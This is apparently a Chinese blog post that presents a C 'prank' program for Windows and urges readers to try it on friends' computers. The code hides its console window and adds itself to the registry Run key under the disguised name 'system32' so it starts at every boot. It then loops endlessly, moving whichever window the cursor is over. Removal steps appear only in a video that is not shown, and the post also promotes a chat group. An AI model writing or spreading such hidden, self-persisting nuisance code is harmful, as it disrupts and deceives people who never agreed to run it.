【项目实例】5分钟教你一个C语言恶搞小程序,我已经在医院wifi还挺快的

话不多说,今天给大家介绍两个好东西,就是利用C语言编写的两个恶搞小程序,有多厉害,只有你自己去试试了。

利用C语言+API写的两个恶作剧程序,如果你的朋友同学试过之后可能就会有某些冲动了。

注意安全,找好退路,不要像我一样被按在角落里面…

image

直接上代码:(本来想贴上GIF图的,结果转换出来很模糊~大家拿代码自己去试试哦!

其实做为一个学习者,有一个学习的氛围跟一个交流圈子特别重要这里我推荐一个C语言C++交流群1075673198,不管你是小白还是转行人士欢迎入驻,大家一起交流成长。

本程序会开机自启,请先看完视频,了解如何关闭程序再测试)

#include <stdio.h>

#include <time.h>

#include <stdlib.h>

#include <windows.h>

#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")

int main()

{

char path[] = "Software\Microsoft\Windows\CurrentVersion\Run";

char exepath[200]; //拿到程序本身的路径

GetModuleFileName(NULL, exepath, 200);

HKEY hkey; //注册表结构体

RegOpenKey(HKEY_CURRENT_USER, path, &hkey);

RegSetValueEx(hkey, "system32", 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));

srand((unsigned int)time(NULL));

HWND hwnd; //定义窗口句柄

RECT rect; //矩形 top bottom left right

POINT pt;//点 x y

while (1)

{

hwnd = GetForegroundWindow();

GetWindowRect(hwnd,&rect); //获取窗口的矩形

GetCursorPos(&pt); //获取光标的座标

//鼠标在窗口的矩形里面

if (pt.x >= rect.left&&pt.x <= rect.right&&

pt.y >= rect.top&&pt.y <= rect.bottom)

{

MoveWindow(hwnd, rand() % (1920 - 480), rand() % (1080 - 460),

480, 460, true);

}

}

return 0;

}

/*****************************

FindWindow();

MoveWindow();

GetForegroundWindow();

******************************/

//printf("1.变羊!!");

//printf("2.消失不见!!");

//printf("3.幽灵模式 ");

//

//int choise;

//scanf("%d", &choise);

//int width = 480;

//int height = 460;

//switch (choise)

//{

//case 1:

//while (width > 0)

//{

//MoveWindow(hwnd, 800, 100, width -= 10, height -= 10, true);

//}

//break;

//case 2:

//while (width <480)

//{

//MoveWindow(hwnd, 800, 100, width += 10, height += 10, true);

//}

//break;

//case 3:

//MoveWindow(hwnd, 800, 100, 0, 0, true);

//break;

//case 4:

//MoveWindow(hwnd, 800, 100, 480, 460, true);

//break;

//}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章